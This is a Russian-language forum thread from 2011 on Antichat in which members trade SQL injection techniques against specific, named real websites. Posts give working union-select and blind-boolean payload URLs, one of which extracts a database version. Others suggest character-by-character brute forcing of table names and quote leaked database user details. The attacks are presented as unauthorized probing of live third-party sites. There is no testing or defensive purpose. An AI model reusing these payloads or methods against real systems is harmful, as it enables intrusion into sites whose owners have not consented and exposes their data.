ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
20.05.2011, 23:04
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от MTV
MTV said:
Ребят,а если пишет Hacking Attempt! это что значит?
Ну а что такого удивительного?
Скорее всего фильтр обычный проверяющий параметры.
А что ты подставил? Кавычку? Попробуй самым обычным путем проверить на SQLi не юзаю кавычку. id=1+and+1=1 \ id=1+and+1=2
|
|
|
20.05.2011, 23:12
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512
Репутация:
0
|
|
Сообщение от ta-kyn
ta-kyn said:
Ясно, с чего вы взяли что логи хостер обнуляет каждый день? Хотя, очень хочется надеяться.. =)
Почитал вики.дримхост
|
|
|
|
21.05.2011, 19:47
|
|
Guest
Сообщений: n/a
Провел на форуме:
225312
Репутация:
-6
|
|
привет
|
|
|
|
21.05.2011, 23:36
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Как здесь обойти фильтрацию?
http://figura.kaluga.com/modules/glossaire/glossaire-p-f.php?op=ImprDef&id=63+union+select+1,2+--+
|
|
|
|
22.05.2011, 00:39
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512
Репутация:
0
|
|
Сообщение от FlaktW
FlaktW said:
Как здесь обойти фильтрацию?
http://figura.kaluga.com/modules/glossaire/glossaire-p-f.php?op=ImprDef&id=63+union+select+1,2+--+
Даже если обойдешь, придется брутить имена таблиц
4.1.21:figura@localhost:figura
|
|
|
|
22.05.2011, 06:11
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Сообщение от FlaktW
FlaktW said:
Как здесь обойти фильтрацию?
http://figura.kaluga.com/modules/glossaire/glossaire-p-f.php?op=ImprDef&id=63+union+select+1,2+--+
Посимвольным перебором ASCII через AND или ORDER BY.
|
|
|
|
22.05.2011, 12:08
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Какая БД тут, непонятно
http://www.kashmirlive.com/picturegallery.php?albumId=46+union+select+1,2,3,4 +--+
|
|
|
|
22.05.2011, 12:22
|
|
Guest
Сообщений: n/a
Провел на форуме:
31258
Репутация:
7
|
|
Сообщение от FlaktW
FlaktW said:
Какая БД тут, непонятно
http://www.kashmirlive.com/picturegallery.php?albumId=46+union+select+1,2,3,4 +--+
PostgreSQL 8.2.0
http://www.kashmirlive.com/picturegallery.php?albumId=46+and+1=0+union+select +null,version(),null,null+--+
|
|
|
|
22.05.2011, 13:06
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Тоже Postgre:
http://www.maultsbytalent.com/models-and-talent.php?group=Female&type=Print&id=270'+union+s elect+version(),version(),version(),version(),vers ion(),version(),version(),version(),version(),vers ion(),version(),version(),version(),version(),vers ion(),version(),version(),version(),version(),vers ion(),version(),version(),version(),version(),vers ion(),version(),version()+--+&location=
вывести не удается!
|
|
|
|
22.05.2011, 13:35
|
|
Guest
Сообщений: n/a
Провел на форуме:
262707
Репутация:
935
|
|
Где ты там постгрейс увидел? это мюскл 5-ая ветка
Код:
Code:
http://www.maultsbytalent.com/models-and-talent.php?group=Female&type=Print&id=270'and(1=if(mid(version(),1,1)=5,1,0))--+
|
|
|
|
|
 |
|
|
Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
|
|
|
|
Похожие темы
Комбинированный вид